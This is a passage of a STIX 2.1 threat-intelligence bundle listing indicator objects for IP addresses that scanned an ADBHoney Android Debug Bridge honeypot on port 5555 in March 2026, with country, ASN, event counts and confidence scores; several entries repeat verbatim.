        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.156.207.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:00:03.000Z",
      "valid_until": "2026-04-22T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T16:32:53.000Z",
          "last_seen": "2026-03-21T16:34:29.249Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=RO; asn=47890; asn_org=Unmanaged Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=1 | first_seen=2026-03-21T16:15:37.494Z | last_seen=2026-03-21T16:15:37.494Z | ports=5555 | cc=RO | asn=47890 | org=Unmanaged Ltd",
      "id": "indicator--dbda5bd5-9911-4a5b-bc1b-83d5e7fce76c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '2.57.121.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:00:03.000Z",
      "valid_until": "2026-04-22T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 1,
          "first_seen": "2026-03-21T16:15:37.494Z",
          "last_seen": "2026-03-21T16:15:37.494Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "47890"
          ],
          "org": [
            "Unmanaged Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=KR; asn=4766; asn_org=Korea Telecom; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-21T16:32:53.000Z | last_seen=2026-03-21T16:34:29.249Z | ports=5555 | cc=KR | asn=4766 | org=Korea Telecom",
      "id": "indicator--4d9b5b6a-c118-4717-be24-7b256107882d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '218.156.207.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T17:00:03.000Z",
      "valid_until": "2026-04-22T17:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-21T16:32:53.000Z",
          "last_seen": "2026-03-21T16:34:29.249Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "KR"
          ],
          "asn": [
            "4766"
          ],
          "org": [
            "Korea Telecom"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=VN; asn=153501; asn_org=Pal Vietnam Technology and Trading Joint Stock Company; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-21T19:28:55.000Z | last_seen=2026-03-21T19:39:05.607Z | ports=5555 | cc=VN | asn=153501 | org=Pal Vietnam Technology and Trading Joint Stock Company",
      "id": "indicator--1da1e655-fdfb-459f-9b32-f8d94a228130",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.248.81.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:00:02.000Z",
      "valid_until": "2026-04-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-21T19:28:55.000Z",
          "last_seen": "2026-03-21T19:39:05.607Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "153501"
          ],
          "org": [
            "Pal Vietnam Technology and Trading Joint Stock Company"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-21T19:41:39.000Z | last_seen=2026-03-21T19:53:16.638Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--b605c88a-858d-4d8b-8603-5d432b4ed368",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:00:02.000Z",
      "valid_until": "2026-04-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-21T19:41:39.000Z",
          "last_seen": "2026-03-21T19:53:16.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=69; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=411 | first_seen=2026-03-21T19:24:17.000Z | last_seen=2026-03-28T22:01:03.249Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--b0525028-ca2c-42bc-bfda-ed5d554d9ec9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:00:02.000Z",
      "valid_until": "2026-04-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 411,
          "first_seen": "2026-03-21T19:24:17.000Z",
          "last_seen": "2026-03-28T22:01:03.249Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=VN; asn=153501; asn_org=Pal Vietnam Technology and Trading Joint Stock Company; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=12 | first_seen=2026-03-21T19:28:55.000Z | last_seen=2026-03-21T19:39:05.607Z | ports=5555 | cc=VN | asn=153501 | org=Pal Vietnam Technology and Trading Joint Stock Company",
      "id": "indicator--1da1e655-fdfb-459f-9b32-f8d94a228130",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '161.248.81.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:00:03.000Z",
      "valid_until": "2026-04-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 12,
          "first_seen": "2026-03-21T19:28:55.000Z",
          "last_seen": "2026-03-21T19:39:05.607Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "153501"
          ],
          "org": [
            "Pal Vietnam Technology and Trading Joint Stock Company"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-21T19:41:39.000Z | last_seen=2026-03-21T19:53:16.638Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--b605c88a-858d-4d8b-8603-5d432b4ed368",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:00:03.000Z",
      "valid_until": "2026-04-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-21T19:41:39.000Z",
          "last_seen": "2026-03-21T19:53:16.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-21T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=69; ports=5555; cc=US; asn=215925; asn_org=Vpsvault.host Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=411 | first_seen=2026-03-21T19:24:17.000Z | last_seen=2026-03-28T22:01:03.249Z | ports=5555 | cc=US | asn=215925 | org=Vpsvault.host Ltd",
      "id": "indicator--b0525028-ca2c-42bc-bfda-ed5d554d9ec9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '45.205.1.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-21T20:00:03.000Z",
      "valid_until": "2026-04-22T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 411,
          "first_seen": "2026-03-21T19:24:17.000Z",
          "last_seen": "2026-03-28T22:01:03.249Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "215925"
          ],
          "org": [
            "Vpsvault.host Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T00:32:16.000Z | last_seen=2026-03-22T00:33:53.500Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--5457bb11-7610-4a41-9e4d-a2bbd2321de6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '58.20.84.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:00:03.000Z",
      "valid_until": "2026-04-23T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T00:32:16.000Z",
          "last_seen": "2026-03-22T00:33:53.500Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T01:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T00:32:16.000Z | last_seen=2026-03-22T00:33:53.500Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--5457bb11-7610-4a41-9e4d-a2bbd2321de6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '58.20.84.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T01:00:03.000Z",
      "valid_until": "2026-04-23T01:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T00:32:16.000Z",
          "last_seen": "2026-03-22T00:33:53.500Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T01:40:36.000Z | last_seen=2026-03-22T01:41:42.465Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1fe48e14-0b08-4682-a2ea-6b43b84bf997",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '207.154.228.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T02:00:03.000Z",
      "valid_until": "2026-04-23T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T01:40:36.000Z",
          "last_seen": "2026-03-22T01:41:42.465Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T02:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T01:40:36.000Z | last_seen=2026-03-22T01:41:42.465Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1fe48e14-0b08-4682-a2ea-6b43b84bf997",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '207.154.228.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T02:00:04.000Z",
      "valid_until": "2026-04-23T02:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T01:40:36.000Z",
          "last_seen": "2026-03-22T01:41:42.465Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T02:51:39.000Z | last_seen=2026-03-22T02:53:13.408Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--52970afa-0c40-4abc-b9f3-37d12639e3b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.4.109.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T03:00:03.000Z",
      "valid_until": "2026-04-23T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T02:51:39.000Z",
          "last_seen": "2026-03-22T02:53:13.408Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T02:51:39.000Z | last_seen=2026-03-22T02:53:13.408Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--52970afa-0c40-4abc-b9f3-37d12639e3b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '119.4.109.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T03:00:03.000Z",
      "valid_until": "2026-04-23T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T02:51:39.000Z",
          "last_seen": "2026-03-22T02:53:13.408Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=15 | first_seen=2026-03-22T04:49:38.000Z | last_seen=2026-03-22T04:59:52.387Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--70ca1634-a748-42b9-b305-f8617db7257e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.135.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T05:00:04.000Z",
      "valid_until": "2026-04-23T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 15,
          "first_seen": "2026-03-22T04:49:38.000Z",
          "last_seen": "2026-03-22T04:59:52.387Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T05:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-22T04:42:19.000Z | last_seen=2026-03-22T04:52:37.445Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--89430396-5b13-4221-b78a-35f9deaf6697",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '167.99.1.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T05:00:04.000Z",
      "valid_until": "2026-04-23T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
